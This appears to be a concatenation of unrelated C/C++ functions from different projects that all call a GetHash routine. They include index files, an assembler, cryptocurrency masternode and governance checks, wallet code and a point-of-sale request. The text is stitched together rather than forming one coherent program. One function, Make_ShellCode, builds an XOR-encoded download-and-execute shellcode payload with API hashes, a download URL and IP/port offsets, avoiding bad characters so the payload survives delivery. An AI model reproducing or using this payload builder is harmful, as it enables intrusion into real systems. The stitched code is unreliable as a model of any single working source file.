/* index_3 index_4 (large) */ bool QuickIndexImpl::AddEntry( const std::string &path, const Entry &entry ) { if (NULL == header_) { return false; } if (!PrepareIndexFile()) { return false; } if (UseLargeEntryToStore(path) && !IsLargeEntry()) { assert(0 == header_->current_file); if (0 != header_->current_file) { return false; } if (header_->next_large_file == 0){ header_->next_large_file = header_->current_file + 2; } QuickIndex *qi = NextLarge(); if (NULL == qi){ return false; } return qi->AddEntry(path, entry); } // Find entry in current index file, // if we find the match entry, // use new entry value to replace it EntryAddr found_addr; if (FindEntryInCurrentIndex(path, found_addr)) { UpdateEntry(found_addr, path, entry); return true; } // If current index file is full, // use next index to store the entry if (IsFileFull()) { QuickIndex *qi = NULL; if (!IsLargeEntry()) { if (header_->next_file == 0) { header_->next_file = (0 == header_->current_file) ? 1 : header_->current_file + 2; } qi = Next(); } else { if (header_->next_large_file == 0) { header_->next_large_file = header_->current_file + 2; } qi = NextLarge(); } if (NULL == qi) { return false; } return qi->AddEntry(path, entry); } // If current index file not full, but not empty entry, // just grow the index file if (header_->num_entries == header_->num_entries_capacity) { if (!GrowIndexFile()) { return false; } } size_t entry_pos = GetHash(path); EntryAddr addr = GetEntryAddr(entry_pos); EntryAddr entry_addr; if (IsAddrValid(addr) && IsAddrUsed(addr)) { // Handle hash conflict situation entry_addr = GetEmptyEntryAddr(); if (!IsAddrValid(entry_addr)) { return false; } if (!UpdateLastConflictEntry(addr, entry_addr)) { return false; } } else { entry_addr = GetEmptyEntryAddr(); if (!IsAddrValid(entry_addr)) { return false; } header_->entries[entry_pos] = entry_addr; } UpdateEntry(entry_addr, path, entry); header_->num_entries++; return true; }
ContextData *ContextData::GetCachedImpl(const char *name, int64_t io_threads) { auto key = GetHash(name, io_threads); return s_connections[key]; }
void AsmMan::EmitFiles() { AsmManFile* tmp; Assembler* pAsm = (Assembler*)m_pAssembler; int i; HRESULT hr = S_OK; mdToken tk; for(i = 0; (tmp=m_FileLst.PEEK(i)) != NULL; i++) { BOOL fEntry = ((tmp->dwAttr & 0x80000000)!=0); wzUniBuf[0] = 0; BYTE* pHash=NULL; DWORD cbHash= 0; if(!tmp->m_fNew) continue; tmp->m_fNew = FALSE; WszMultiByteToWideChar(g_uCodePage,0,tmp->szName,-1,wzUniBuf,dwUniBuf); if(tmp->pHash==NULL) // if hash not explicitly specified { if(m_pAssembly // and assembly is defined && m_pAssembly->ulHashAlgorithm) // and hash algorithm is defined... { // then try to compute it if(FAILED(GetHash(wzUniBuf,(ALG_ID)(m_pAssembly->ulHashAlgorithm),&pHash,&cbHash))) { pHash = NULL; cbHash = 0; } else { tmp->pHash = new BinStr(pHash,cbHash); } } } else { pHash = tmp->pHash->ptr(); cbHash = tmp->pHash->length(); } hr = m_pAsmEmitter->DefineFile(wzUniBuf, (const void*)pHash, cbHash, tmp->dwAttr & 0x7FFFFFFF, (mdFile*)&tk); _ASSERTE(tk == tmp->tkTok); if(FAILED(hr)) report->error("Failed to define file '%s': 0x%08X\n",tmp->szName,hr); else { if(fEntry) { if (FAILED(pAsm->m_pCeeFileGen->SetEntryPoint(pAsm->m_pCeeFile, tmp->tkTok))) { pAsm->report->error("Failed to set external entry point for file '%s'\n",tmp->szName); } } pAsm->EmitCustomAttributes(tmp->tkTok, &(tmp->m_CustomDescrList)); } } //end for(i = 0; tmp=m_FileLst.PEEK(i); i++) }
void CMasternodePing::Relay() { CInv inv(MSG_MASTERNODE_PING, GetHash()); RelayInv(inv); }
HashedString WBEvent::GetEventName() const { STATIC_HASHED_STRING( EventName ); return GetHash( sEventName ); }
bool CMasternodeBroadcast::CheckAndUpdate(int& nDos) { // make sure signature isn't in the future (past is OK) if (sigTime > GetAdjustedTime() + 60 * 60) { LogPrintf("mnb - Signature rejected, too far into the future %s\n", vin.ToString()); nDos = 1; return false; } std::string vchPubKey(pubkey.begin(), pubkey.end()); std::string vchPubKey2(pubkey2.begin(), pubkey2.end()); std::string strMessage = addr.ToString() + boost::lexical_cast<std::string>(sigTime) + vchPubKey + vchPubKey2 + boost::lexical_cast<std::string>(protocolVersion); if(protocolVersion < masternodePayments.GetMinMasternodePaymentsProto()) { LogPrintf("mnb - ignoring outdated Masternode %s protocol version %d\n", vin.ToString(), protocolVersion); return false; } CScript pubkeyScript; pubkeyScript = GetScriptForDestination(pubkey.GetID()); if(pubkeyScript.size() != 25) { LogPrintf("mnb - pubkey the wrong size\n"); nDos = 100; return false; } CScript pubkeyScript2; pubkeyScript2 = GetScriptForDestination(pubkey2.GetID()); if(pubkeyScript2.size() != 25) { LogPrintf("mnb - pubkey2 the wrong size\n"); nDos = 100; return false; } if(!vin.scriptSig.empty()) { LogPrintf("mnb - Ignore Not Empty ScriptSig %s\n",vin.ToString()); return false; } std::string errorMessage = ""; if(!obfuScationSigner.VerifyMessage(pubkey, sig, strMessage, errorMessage)){ LogPrintf("mnb - Got bad Masternode address signature\n"); nDos = 100; return false; } if(Params().NetworkID() == CBaseChainParams::MAIN) { if(addr.GetPort() != 51472) return false; } else if(addr.GetPort() == 51472) return false; //search existing Masternode list, this is where we update existing Masternodes with new mnb broadcasts CMasternode* pmn = mnodeman.Find(vin); // no such masternode or it's not enabled already, nothing to update if(pmn == NULL || (pmn != NULL && !pmn->IsEnabled())) return true; // mn.pubkey = pubkey, IsVinAssociatedWithPubkey is validated once below, // after that they just need to match if(pmn->pubkey == pubkey && !pmn->IsBroadcastedWithin(MASTERNODE_MIN_MNB_SECONDS)) { //take the newest entry LogPrintf("mnb - Got updated entry for %s\n", addr.ToString()); if(pmn->UpdateFromNewBroadcast((*this))){ pmn->Check(); if(pmn->IsEnabled()) Relay(); } masternodeSync.AddedMasternodeList(GetHash()); } return true; }
void CMasternodeBroadcast::Relay() { CInv inv(MSG_MASTERNODE_ANNOUNCE, GetHash()); RelayInv(inv); }
bool CGovernanceObject::IsCollateralValid(std::string& strError, bool& fMissingConfirmations) const { strError = ""; fMissingConfirmations = false; CAmount nMinFee = GetMinCollateralFee(); uint256 nExpectedHash = GetHash(); CTransactionRef txCollateral; uint256 nBlockHash; // RETRIEVE TRANSACTION IN QUESTION if (!GetTransaction(nCollateralHash, txCollateral, Params().GetConsensus(), nBlockHash, true)) { strError = strprintf("Can't find collateral tx %s", nCollateralHash.ToString()); LogPrintf("CGovernanceObject::IsCollateralValid -- %s\n", strError); return false; } if (nBlockHash == uint256()) { strError = strprintf("Collateral tx %s is not mined yet", txCollateral->ToString()); LogPrintf("CGovernanceObject::IsCollateralValid -- %s\n", strError); return false; } if (txCollateral->vout.size() < 1) { strError = strprintf("tx vout size less than 1 | %d", txCollateral->vout.size()); LogPrintf("CGovernanceObject::IsCollateralValid -- %s\n", strError); return false; } // LOOK FOR SPECIALIZED GOVERNANCE SCRIPT (PROOF OF BURN) CScript findScript; findScript << OP_RETURN << ToByteVector(nExpectedHash); LogPrint("gobject", "CGovernanceObject::IsCollateralValid -- txCollateral->vout.size() = %s, findScript = %s, nMinFee = %lld\n", txCollateral->vout.size(), ScriptToAsmStr(findScript, false), nMinFee); bool foundOpReturn = false; for (const auto& output : txCollateral->vout) { LogPrint("gobject", "CGovernanceObject::IsCollateralValid -- txout = %s, output.nValue = %lld, output.scriptPubKey = %s\n", output.ToString(), output.nValue, ScriptToAsmStr(output.scriptPubKey, false)); if (!output.scriptPubKey.IsPayToPublicKeyHash() && !output.scriptPubKey.IsUnspendable()) { strError = strprintf("Invalid Script %s", txCollateral->ToString()); LogPrintf("CGovernanceObject::IsCollateralValid -- %s\n", strError); return false; } if (output.scriptPubKey == findScript && output.nValue >= nMinFee) { foundOpReturn = true; } } if (!foundOpReturn) { strError = strprintf("Couldn't find opReturn %s in %s", nExpectedHash.ToString(), txCollateral->ToString()); LogPrintf("CGovernanceObject::IsCollateralValid -- %s\n", strError); return false; } // GET CONFIRMATIONS FOR TRANSACTION AssertLockHeld(cs_main); int nConfirmationsIn = 0; if (nBlockHash != uint256()) { BlockMap::iterator mi = mapBlockIndex.find(nBlockHash); if (mi != mapBlockIndex.end() && (*mi).second) { CBlockIndex* pindex = (*mi).second; if (chainActive.Contains(pindex)) { nConfirmationsIn += chainActive.Height() - pindex->nHeight + 1; } } } if ((nConfirmationsIn < GOVERNANCE_FEE_CONFIRMATIONS) && (!instantsend.IsLockedInstantSendTransaction(nCollateralHash) || llmq::quorumInstantSendManager->IsLocked(nCollateralHash))) { strError = strprintf("Collateral requires at least %d confirmations to be relayed throughout the network (it has only %d)", GOVERNANCE_FEE_CONFIRMATIONS, nConfirmationsIn); if (nConfirmationsIn >= GOVERNANCE_MIN_RELAY_FEE_CONFIRMATIONS) { fMissingConfirmations = true; strError += ", pre-accepted -- waiting for required confirmations"; } else { strError += ", rejected -- try again later"; } LogPrintf("CGovernanceObject::IsCollateralValid -- %s\n", strError); return false; } strError = "valid"; return true; }
bool CAuxPow::check (const uint256& hashAuxBlock, int nChainId, const Consensus::Params& params) const { if (nIndex != 0) return error("AuxPow is not a generate"); if (params.fStrictChainId && parentBlock.GetChainId () == nChainId) return error("Aux POW parent has our chain ID"); if (vChainMerkleBranch.size() > 30) return error("Aux POW chain merkle branch too long"); // Check that the chain merkle root is in the coinbase const uint256 nRootHash = CheckMerkleBranch (hashAuxBlock, vChainMerkleBranch, nChainIndex); valtype vchRootHash(nRootHash.begin (), nRootHash.end ()); std::reverse (vchRootHash.begin (), vchRootHash.end ()); // correct endian // Check that we are in the parent block merkle tree if (CheckMerkleBranch(GetHash(), vMerkleBranch, nIndex) != parentBlock.hashMerkleRoot) return error("Aux POW merkle root incorrect"); const CScript script = tx->vin[0].scriptSig; // Check that the same work is not submitted twice to our chain. // CScript::const_iterator pcHead = std::search(script.begin(), script.end(), UBEGIN(pchMergedMiningHeader), UEND(pchMergedMiningHeader)); CScript::const_iterator pc = std::search(script.begin(), script.end(), vchRootHash.begin(), vchRootHash.end()); if (pc == script.end()) return error("Aux POW missing chain merkle root in parent coinbase"); if (pcHead != script.end()) { // Enforce only one chain merkle root by checking that a single instance of the merged // mining header exists just before. if (script.end() != std::search(pcHead + 1, script.end(), UBEGIN(pchMergedMiningHeader), UEND(pchMergedMiningHeader))) return error("Multiple merged mining headers in coinbase"); if (pcHead + sizeof(pchMergedMiningHeader) != pc) return error("Merged mining header is not just before chain merkle root"); } else { // For backward compatibility. // Enforce only one chain merkle root by checking that it starts early in the coinbase. // 8-12 bytes are enough to encode extraNonce and nBits. if (pc - script.begin() > 20) return error("Aux POW chain merkle root must start in the first 20 bytes of the parent coinbase"); } // Ensure we are at a deterministic point in the merkle leaves by hashing // a nonce and our chain ID and comparing to the index. pc += vchRootHash.size(); if (script.end() - pc < 8) return error("Aux POW missing chain merkle tree size and nonce in parent coinbase"); uint32_t nSize; memcpy(&nSize, &pc[0], 4); nSize = le32toh (nSize); const unsigned merkleHeight = vChainMerkleBranch.size (); if (nSize != (1u << merkleHeight)) return error("Aux POW merkle branch size does not match parent coinbase"); uint32_t nNonce; memcpy(&nNonce, &pc[4], 4); nNonce = le32toh (nNonce); if (nChainIndex != getExpectedIndex (nNonce, nChainId, merkleHeight)) return error("Aux POW wrong index"); return true; }
int CWalletTx::GetRequestCount() const { // Returns -1 if it wasn't being tracked int nRequests = -1; { LOCK(pwallet->cs_wallet); if (IsCoinBase()) { // Generated block if (!hashUnset()) { std::map<uint256, int>::const_iterator mi = pwallet->mapRequestCount.find(hashBlock); if (mi != pwallet->mapRequestCount.end()) nRequests = (*mi).second; } } else { // Did anyone request this transaction? std::map<uint256, int>::const_iterator mi = pwallet->mapRequestCount.find(GetHash()); if (mi != pwallet->mapRequestCount.end()) { nRequests = (*mi).second; // How about the block it's in? if (nRequests == 0 && !hashUnset()) { std::map<uint256, int>::const_iterator _mi = pwallet->mapRequestCount.find(hashBlock); if (_mi != pwallet->mapRequestCount.end()) nRequests = (*_mi).second; else nRequests = 1; // If it's in someone else's block it must have got out } } } } return nRequests; }
bool CGovernanceObject::ProcessVote(CNode* pfrom, const CGovernanceVote& vote, CGovernanceException& exception, CConnman& connman) { LOCK(cs); // do not process already known valid votes twice if (fileVotes.HasVote(vote.GetHash())) { // nothing to do here, not an error std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Already known valid vote"; LogPrint("gobject", "%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_NONE); return false; } auto mnList = deterministicMNManager->GetListAtChainTip(); auto dmn = mnList.GetValidMNByCollateral(vote.GetMasternodeOutpoint()); if (!dmn) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Masternode " << vote.GetMasternodeOutpoint().ToStringShort() << " not found"; exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_WARNING); if (cmmapOrphanVotes.Insert(vote.GetMasternodeOutpoint(), vote_time_pair_t(vote, GetAdjustedTime() + GOVERNANCE_ORPHAN_EXPIRATION_TIME))) { LogPrintf("%s\n", ostr.str()); } else { LogPrint("gobject", "%s\n", ostr.str()); } return false; } vote_m_it it = mapCurrentMNVotes.emplace(vote_m_t::value_type(vote.GetMasternodeOutpoint(), vote_rec_t())).first; vote_rec_t& voteRecordRef = it->second; vote_signal_enum_t eSignal = vote.GetSignal(); if (eSignal == VOTE_SIGNAL_NONE) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Vote signal: none"; LogPrint("gobject", "%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_WARNING); return false; } if (eSignal > MAX_SUPPORTED_VOTE_SIGNAL) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Unsupported vote signal: " << CGovernanceVoting::ConvertSignalToString(vote.GetSignal()); LogPrintf("%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_PERMANENT_ERROR, 20); return false; } vote_instance_m_it it2 = voteRecordRef.mapInstances.emplace(vote_instance_m_t::value_type(int(eSignal), vote_instance_t())).first; vote_instance_t& voteInstanceRef = it2->second; // Reject obsolete votes if (vote.GetTimestamp() < voteInstanceRef.nCreationTime) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Obsolete vote"; LogPrint("gobject", "%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_NONE); return false; } else if (vote.GetTimestamp() == voteInstanceRef.nCreationTime) { // Someone is doing smth fishy, there can be no two votes from the same masternode // with the same timestamp for the same object and signal and yet different hash/outcome. std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Invalid vote, same timestamp for the different outcome"; if (vote.GetOutcome() < voteInstanceRef.eOutcome) { // This is an arbitrary comparison, we have to agree on some way // to pick the "winning" vote. ostr << ", rejected"; LogPrint("gobject", "%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_NONE); return false; } ostr << ", accepted"; LogPrint("gobject", "%s\n", ostr.str()); } int64_t nNow = GetAdjustedTime(); int64_t nVoteTimeUpdate = voteInstanceRef.nTime; if (governance.AreRateChecksEnabled()) { int64_t nTimeDelta = nNow - voteInstanceRef.nTime; if (nTimeDelta < GOVERNANCE_UPDATE_MIN) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Masternode voting too often" << ", MN outpoint = " << vote.GetMasternodeOutpoint().ToStringShort() << ", governance object hash = " << GetHash().ToString() << ", time delta = " << nTimeDelta; LogPrint("gobject", "%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_TEMPORARY_ERROR); return false; } nVoteTimeUpdate = nNow; } bool onlyVotingKeyAllowed = nObjectType == GOVERNANCE_OBJECT_PROPOSAL && vote.GetSignal() == VOTE_SIGNAL_FUNDING; // Finally check that the vote is actually valid (done last because of cost of signature verification) if (!vote.IsValid(onlyVotingKeyAllowed)) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Invalid vote" << ", MN outpoint = " << vote.GetMasternodeOutpoint().ToStringShort() << ", governance object hash = " << GetHash().ToString() << ", vote hash = " << vote.GetHash().ToString(); LogPrintf("%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_PERMANENT_ERROR, 20); governance.AddInvalidVote(vote); return false; } if (!mmetaman.AddGovernanceVote(dmn->proTxHash, vote.GetParentHash())) { std::ostringstream ostr; ostr << "CGovernanceObject::ProcessVote -- Unable to add governance vote" << ", MN outpoint = " << vote.GetMasternodeOutpoint().ToStringShort() << ", governance object hash = " << GetHash().ToString(); LogPrint("gobject", "%s\n", ostr.str()); exception = CGovernanceException(ostr.str(), GOVERNANCE_EXCEPTION_PERMANENT_ERROR); return false; } voteInstanceRef = vote_instance_t(vote.GetOutcome(), nVoteTimeUpdate, vote.GetTimestamp()); fileVotes.AddVote(vote); fDirtyCache = true; return true; }
//------------------------------------------------------------------------------------------------- void *StringTable::Query( const char *text ) const { return Query( GetHash(text) ); }
int CtdlNetworkTalkingTo(const char *nodename, long len, int operation) { int retval = 0; HashPos *Pos = NULL; void *vdata; begin_critical_section(S_NTTLIST); switch(operation) { case NTT_ADD: if (nttlist == NULL) nttlist = NewHash(1, NULL); Put(nttlist, nodename, len, NewStrBufPlain(nodename, len), HFreeStrBuf); if (NTTDebugEnabled) syslog(LOG_DEBUG, "nttlist: added <%s>\n", nodename); break; case NTT_REMOVE: if ((nttlist == NULL) || (GetCount(nttlist) == 0)) break; Pos = GetNewHashPos(nttlist, 1); if (GetHashPosFromKey (nttlist, nodename, len, Pos)) DeleteEntryFromHash(nttlist, Pos); DeleteHashPos(&Pos); if (NTTDebugEnabled) syslog(LOG_DEBUG, "nttlist: removed <%s>\n", nodename); break; case NTT_CHECK: if ((nttlist == NULL) || (GetCount(nttlist) == 0)) break; if (GetHash(nttlist, nodename, len, &vdata)) retval ++; if (NTTDebugEnabled) syslog(LOG_DEBUG, "nttlist: have [%d] <%s>\n", retval, nodename); break; } if (NTTDumpEnabled) { HashPos *It; StrBuf *NTTDump; long len; const char *Key; void *v; NTTDump = NewStrBuf (); It = GetNewHashPos(nttlist, 0); while (GetNextHashPos(nttlist, It, &len, &Key, &v)) { if (StrLength(NTTDump) > 0) StrBufAppendBufPlain(NTTDump, HKEY("|"), 0); StrBufAppendBuf(NTTDump, (StrBuf*) v, 0); } DeleteHashPos(&It); syslog(LOG_DEBUG, "nttlist: Dump: [%d] <%s>\n", GetCount(nttlist), ChrPtr(NTTDump)); FreeStrBuf(&NTTDump); } end_critical_section(S_NTTLIST); return(retval); }
uint GetHash(const QString& str) { return GetHash(str.toStdString()); }
void HashTable::Add(unsigned int i, TVector2 position) { position = Discretize(position); hashTable[GetHash(position)].push_back(i); }
bool CGovernanceVote::IsValid(bool fSignatureCheck) const { if(nTime > GetAdjustedTime() + (60*60)) { LogPrint("gobject", "CGovernanceVote::IsValid -- vote is too far ahead of current time - %s - nTime %lli - Max Time %lli\n", GetHash().ToString(), nTime, GetAdjustedTime() + (60*60)); return false; } // support up to MAX_SUPPORTED_VOTE_SIGNAL, can be extended if(nVoteSignal > MAX_SUPPORTED_VOTE_SIGNAL) { LogPrint("gobject", "CGovernanceVote::IsValid -- Client attempted to vote on invalid signal(%d) - %s\n", nVoteSignal, GetHash().ToString()); return false; } // 0=none, 1=yes, 2=no, 3=abstain. Beyond that reject votes if(nVoteOutcome > 3) { LogPrint("gobject", "CGovernanceVote::IsValid -- Client attempted to vote on invalid outcome(%d) - %s\n", nVoteSignal, GetHash().ToString()); return false; } masternode_info_t infoMn; if(!mnodeman.GetMasternodeInfo(masternodeOutpoint, infoMn)) { LogPrint("gobject", "CGovernanceVote::IsValid -- Unknown Masternode - %s\n", masternodeOutpoint.ToStringShort()); return false; } if(!fSignatureCheck) return true; return CheckSignature(infoMn.pubKeyMasternode); }
MySQL *MySQL::GetCachedImpl(const char *name, const String& host, int port, const String& socket, const String& username, const String& password, int client_flags) { String key = GetHash(host, port, socket, username, password, client_flags); return dynamic_cast<MySQL*>(g_persistentResources->get(name, key.data())); }
void Make_ShellCode() { unsigned char *pSc_addr; unsigned int Sc_len; unsigned int Enc_key=ENC_KEY; unsigned long dwHash[100]; unsigned int dwHashSize; int i,j,k,l; // Get functions hash printf("[+] Get functions hash strings.\r\n"); for (i=0;;i++) { if (functions[i][0] == '\x0') break; dwHash[i] = GetHash((char*)functions[i]); printf("\t%.8X\t%s\n", dwHash[i], functions[i]); } dwHashSize = i*4; // Deal with shellcode pSc_addr = (unsigned char *)ShellCode; for (k=0;k<MAX_SC_LEN;++k ) { if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) { break; } } pSc_addr+=(k+SEARCH_LEN); // Start of the ShellCode for (k=0;k<MAX_SC_LEN;++k) { if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) { break; } } Sc_len=k; // Length of the ShellCode memcpy(sc, pSc_addr, Sc_len); // Copy shellcode to sc[] // Add functions hash memcpy(sc+Sc_len, (char *)dwHash, dwHashSize); Sc_len += dwHashSize; // Add url memcpy(sc+Sc_len, url, sizeof(url)-1); Sc_len += sizeof(url)-1; // Print the size of shellcode. printf("[+] %d + %d + %d = %d bytes shellcode\n", DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len); // Print the ip/port offset for(k=0; k <= Sc_len-3; ++k) { if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("/* port offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k); if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("/* ip offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k); } /* for(i=DECODE_LEN; i<Sc_len; i++) { sc[i] ^= Enc_key; } */ // Print shellcode //PrintSc(sc, Sc_len); // Deal with find the right XOR byte for(i=0xff; i>0; i--) { l = 0; for(j=DECODE_LEN; j<Sc_len; j++) { if ( ((sc[j] ^ i) == 0x26) || //% ((sc[j] ^ i) == 0x3d) || //= ((sc[j] ^ i) == 0x3f) || //? ((sc[j] ^ i) == 0x40) || //@ ((sc[j] ^ i) == 0x00) || ((sc[j] ^ i) == 0x0D) || ((sc[j] ^ i) == 0x0A) ) // Define Bad Characters { l++; // If found the right XOR byte£¬l equals 0 break; }; } if (l==0) { Enc_key = i; //printf("[+] Find XOR Byte: 0x%02X\n", i); for(j=DECODE_LEN; j<Sc_len; j++) { sc[j] ^= Enc_key; } break; // If found the right XOR byte, Break } } // Deal with not found XOR byte if (l!=0) { printf("[-] No xor byte found!\r\n"); exit(-1); } // Deal with DeCode string *(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len; *(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key; // Print decode printf("/* %d bytes decode */\r\n", DECODE_LEN); PrintSc(sc, DECODE_LEN); // Print shellcode printf("/* %d bytes shellcode, xor with 0x%02x */\r\n", Sc_len-DECODE_LEN, Enc_key); PrintSc((char*)sc+DECODE_LEN, Sc_len-DECODE_LEN); printf("[+] download url:%s\n", url); }
bool CMasternodeBroadcast::CheckInputsAndAdd(int& nDoS) { // we are a masternode with the same vin (i.e. already activated) and this mnb is ours (matches our Masternode privkey) // so nothing to do here for us if(fMasterNode && vin.prevout == activeMasternode.vin.prevout && pubkey2 == activeMasternode.pubKeyMasternode) return true; // search existing Masternode list CMasternode* pmn = mnodeman.Find(vin); if(pmn != NULL) { // nothing to do here if we already know about this masternode and it's enabled if(pmn->IsEnabled()) return true; // if it's not enabled, remove old MN first and continue else mnodeman.Remove(pmn->vin); } CValidationState state; CMutableTransaction tx = CMutableTransaction(); CTxOut vout = CTxOut(9999.99*COIN, obfuScationPool.collateralPubKey); tx.vin.push_back(vin); tx.vout.push_back(vout); { TRY_LOCK(cs_main, lockMain); if(!lockMain) { // not mnb fault, let it to be checked again later mnodeman.mapSeenMasternodeBroadcast.erase(GetHash()); masternodeSync.mapSeenSyncMNB.erase(GetHash()); return false; } if(!AcceptableInputs(mempool, state, CTransaction(tx), false, NULL)) { //set nDos state.IsInvalid(nDoS); return false; } } LogPrint("masternode", "mnb - Accepted Masternode entry\n"); if(GetInputAge(vin) < MASTERNODE_MIN_CONFIRMATIONS){ LogPrintf("mnb - Input must have at least %d confirmations\n", MASTERNODE_MIN_CONFIRMATIONS); // maybe we miss few blocks, let this mnb to be checked again later mnodeman.mapSeenMasternodeBroadcast.erase(GetHash()); masternodeSync.mapSeenSyncMNB.erase(GetHash()); return false; } // verify that sig time is legit in past // should be at least not earlier than block when 1000 DNET tx got MASTERNODE_MIN_CONFIRMATIONS uint256 hashBlock = 0; CTransaction tx2; GetTransaction(vin.prevout.hash, tx2, hashBlock, true); BlockMap::iterator mi = mapBlockIndex.find(hashBlock); if (mi != mapBlockIndex.end() && (*mi).second) { CBlockIndex* pMNIndex = (*mi).second; // block for 1000 DNET tx -> 1 confirmation CBlockIndex* pConfIndex = chainActive[pMNIndex->nHeight + MASTERNODE_MIN_CONFIRMATIONS - 1]; // block where tx got MASTERNODE_MIN_CONFIRMATIONS if(pConfIndex->GetBlockTime() > sigTime) { LogPrintf("mnb - Bad sigTime %d for Masternode %20s %105s (%i conf block is at %d)\n", sigTime, addr.ToString(), vin.ToString(), MASTERNODE_MIN_CONFIRMATIONS, pConfIndex->GetBlockTime()); return false; } } LogPrintf("mnb - Got NEW Masternode entry - %s - %s - %s - %lli \n", GetHash().ToString(), addr.ToString(), vin.ToString(), sigTime); CMasternode mn(*this); mnodeman.Add(mn); // if it matches our Masternode privkey, then we've been remotely activated if(pubkey2 == activeMasternode.pubKeyMasternode && protocolVersion == PROTOCOL_VERSION){ activeMasternode.EnableHotColdMasterNode(vin, addr); } bool isLocal = addr.IsRFC1918() || addr.IsLocal(); if(Params().NetworkID() == CBaseChainParams::REGTEST) isLocal = false; if(!isLocal) Relay(); return true; }
int BalanceEnq(EftTransaction * MyEftTransaction) { int length = -1; char Xml[1024] = {0}; char RequestData[70000] = {0}; char AuthenticationData[200] = {0}; char PurchaseData[50000] = {0}; char *Pdata[1] = {0}; char TransactionType[10] = {0}; char BatchNo[10] = {0}; char SequenceNo[10] = {0}; char MerchantId[10] = {0}; char TransactionDate[10] = {0}; char TrackTwo[102] = {0}; char Cvv[10] = {0}; char Operator[10] = {0}; char Supervisor[10] = {0}; char Amount[10] = {0}; char CashBack[10] = {0}; char Tip[10] = {0}; char Budget[10] = {0}; char AccountType[10] = {0}; char PinBlock[50] = {0}; char KSN[50] = {0}; char Offline[5] = {0}; char Manual[5] = {0}; char OriginalSequeneNo[10] = {0}; char RSVD[2] = ""; char RefrenceCode[10] = {0}; char OriginalTerminalID[16] = {0}; char ReversalDateAndTime[10] = {0}; char ReversalTransactionType[10] = {0}; char ReversalReferenceCode[10] = {0}; char CurrencyCode[5] = {0}; char ProcessorFee[10] = {0}; char AcquiringFee[10] = {0}; char AdditionalData[20] ={0}; char ICCData[10240] = {0}; char AuthId[10] = {0}; BatchInformation LocalBatchInfo; sprintf(TransactionType,"%d",MyEftTransaction->TransType); sprintf(BatchNo,"%d",MyEftTransaction->BatchNo); sprintf(SequenceNo,"%d",MyEftTransaction->SequenceNo); sprintf(MerchantId,"%d",MyEftTransaction->MerchantId); sprintf(TransactionDate,"%s",MyEftTransaction->TransacDateAndTime); sprintf(TrackTwo,"%s",MyEftTransaction->Track2); sprintf(Cvv,"%s",MyEftTransaction->CVV); sprintf(Operator,"%d",MyEftTransaction->OperatorId); sprintf(Supervisor,"%s",MyEftTransaction->SupervisorFlag==0?"N":"Y" ); sprintf(Amount,"%d",MyEftTransaction->PurchaseAmount); sprintf(CashBack,"%d",MyEftTransaction->CashBackAmount); sprintf(Tip,"%d",MyEftTransaction->TipAmount); sprintf(Budget,"%d",MyEftTransaction->BudgetPeriod); sprintf(AccountType,"%d|%d",MyEftTransaction->AcctType,0); if(strlen(MyEftTransaction->PinBlock) > 0) { sprintf(PinBlock,"%s",MyEftTransaction->PinBlock); }else { sprintf(PinBlock,"%s","OFFLINE"); } sprintf(KSN,"%s",MyEftTransaction->PinSerial); sprintf(Offline,"%s",MyEftTransaction->Offline==0?"N":"Y" ); sprintf(Manual,"%s",MyEftTransaction->ManualFlag==0?"N":"Y" ); sprintf(OriginalSequeneNo,"%s",""); sprintf(RefrenceCode,"%s",MyEftTransaction->RefCode); sprintf(OriginalTerminalID,"%s",""); sprintf(ReversalDateAndTime,"%s",""); sprintf(ReversalTransactionType,"%s",""); sprintf(ReversalReferenceCode,"%s",""); sprintf(CurrencyCode,"%s","566"); sprintf(ProcessorFee,"%s",""); sprintf(AcquiringFee,"%s",""); sprintf(AdditionalData,"%s",""); sprintf(ICCData,"%s",MyEftTransaction->ICCData); sprintf(AuthId,"%s",""); sprintf(PurchaseData,"%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s", TransactionType, BatchNo, SequenceNo, MerchantId, TransactionDate, TrackTwo, Cvv, Operator, Supervisor, Amount, CashBack, Tip, Budget, AccountType, PinBlock, KSN, Offline, Manual, OriginalSequeneNo, RSVD, RefrenceCode, OriginalTerminalID, ReversalDateAndTime, ReversalTransactionType, ReversalReferenceCode, CurrencyCode, ProcessorFee, AcquiringFee, AdditionalData, RSVD, RSVD, RSVD, RSVD, ICCData, AuthId ); Pdata[0] = PurchaseData; GetHash(Pdata,1,AuthenticationData); sprintf(RequestData,"T[]=%s",PurchaseData); EftSaveTransaction(MyEftTransaction); PostRequest("/tams/eftpos/devinterface/transaction.php",RequestData,AuthenticationData,Xml); length = strlen(Xml); if(length >0) { //Response Successfull return ProcessResponseEnq(Xml,MyEftTransaction); }else { return -1; } }
